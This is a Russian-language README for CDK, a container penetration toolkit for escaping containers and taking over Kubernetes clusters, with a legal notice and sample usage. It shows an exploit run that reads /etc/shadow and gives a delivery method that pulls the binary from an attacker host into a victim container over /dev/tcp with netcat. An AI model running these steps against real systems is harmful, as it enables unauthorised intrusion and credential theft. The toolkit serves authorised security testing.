CDK - Набор инструментов для проникновения в контейнеры без зависимостей

Английский | 简体中文

Правовое уведомление

Использование CDK для атак на цели без предварительного взаимного согласия незаконно. CDK предназначен только для целей тестирования безопасности.

Обзор

CDK — это набор инструментов с открытым исходным кодом для проникновения в контейнеры, предназначенный для обеспечения стабильной эксплуатации в различных облегченных контейнерах без каких-либо зависимостей от ОС. Он включает полезные сетевые инструменты и множество мощных PoC/EXP, а также помогает легко выйти из контейнера и захватить кластер K8s.

Быстрый старт

Запустите cdk eva для получения оценочной информации и рекомендуемого эксплойта, затем выполните cdk run для начала атаки.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Установка/Доставка

Загрузите последний релиз по адресу https://github.com/cdk-team/CDK/releases/

Поместите исполняемые файлы в целевой контейнер и начните тестирование.

СОВЕТЫ: Доставка CDK в целевой контейнер при реальном тестировании на проникновение

Если у вас есть эксплойт, который может загрузить файл, вы можете загрузить бинарный файл CDK напрямую.

Если у вас есть эксплойт RCE, но в целевом контейнере нет curl или wget, вы можете использовать следующий метод для доставки CDK:

1. Сначала разместите бинарный файл CDK на вашем хосте с публичным IP.

(on your host)
nc -lvp 999 < cdk

2. Внутри контейнера жертвы выполните

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Использование

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Возможности

CDK имеет три модуля:

1. Evaluate (Оценка): сбор информации внутри контейнера для выявления потенциальных уязвимостей.
2. Exploit (Эксплуатация): для выхода из контейнера, закрепления и бокового перемещения.
3. Tool (Инструменты): сетевые инструменты и API для TCP/HTTP запросов, туннелей и управления кластером K8s.

Модуль Evaluate

Usage

cdk evaluate [--full]

Модуль Exploit

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]

Примечание о Thin: Thin-релиз подготовлен для кратковременных оболочек контейнеров, таких как бессерверные функции. Мы добавляем теги сборки в исходный код и удаляем несколько эксплойтов, чтобы сделать бинарник легче. Файл размером 2 МБ содержит 90% функций CDK, также вы можете выбрать полезные эксплойты из исходного кода CDK, чтобы собрать свой собственный легковесный бинарник.

Модуль Tool

Запуск команд аналогичен Linux, с небольшими отличиями в аргументах ввода, см. ссылку на использование.

cdk nc [options]
cdk ps

Документация о релизах

Если вы хотите узнать, как мы выпускаем новую версию, как создается thin-релиз, почему мы предоставляем upx-версии, в чем различия между разными версиями (all, normal, thin, upx) и как выбрать конкретные эксплойты и инструменты CDK для компиляции собственного релиза, обратитесь к Документации о релизах.

Документация для разработчиков

• Запуск теста в контейнере.

Вклад в CDK

Прежде всего, спасибо, что нашли время внести вклад!

Спасибо следующим участникам:

Больше участников: Список участников

Сообщение об ошибках

Ошибки отслеживаются в GitHub Issues. Создайте issue с текущей версией CDK, сообщением об ошибке и окружением. Опишите точные шаги для воспроизведения проблемы.

Предложение улучшений

Предложения по улучшению отслеживаются в GitHub Discussions. Вы можете публиковать любые мысли здесь для прямого обсуждения с разработчиками.

Pull Requests

Исправление проблем или поддержание качества CDK:

• Опишите текущую версию CDK, окружение, проблему и точные шаги для её воспроизведения.
• Приложите скриншоты или логи до и после исправления проблемы.

Новая функция или эксплойт:

• Объясните, почему это улучшение будет полезно другим пользователям.
• Пожалуйста, обеспечьте устойчивую среду для проверки вкладов.
• Скриншоты, демонстрирующие работу новой функции.
• Если вы добавляете новые скрипты evaluate/exploit, добавьте простую документацию в сообщение PR, вот пример.

События

404StarLink 2.0 - Galaxy

Проект CDK теперь включен в Starlink Project 2.0 от 404Team. Присоединяйтесь к сообществу StarLink, чтобы связаться с командой разработчиков CDK.

• https://github.com/knownsec/404StarLink2.0-Galaxy#community

BlackHat Asia 2021 Arsenal

• https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422

HITB SecConf 2021 Amsterdam

• Briefing: "Attack Cloud Native Kubernetes"

WHC 2021 (补天白帽大会)

• CDK: Also a Awesome BugBounty Tool for Cloud Platform

KCON 2021 Arsenal

• http://kcon.knownsec.com/2021/#/arsenal

Kubernetes community Days 2021

• https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/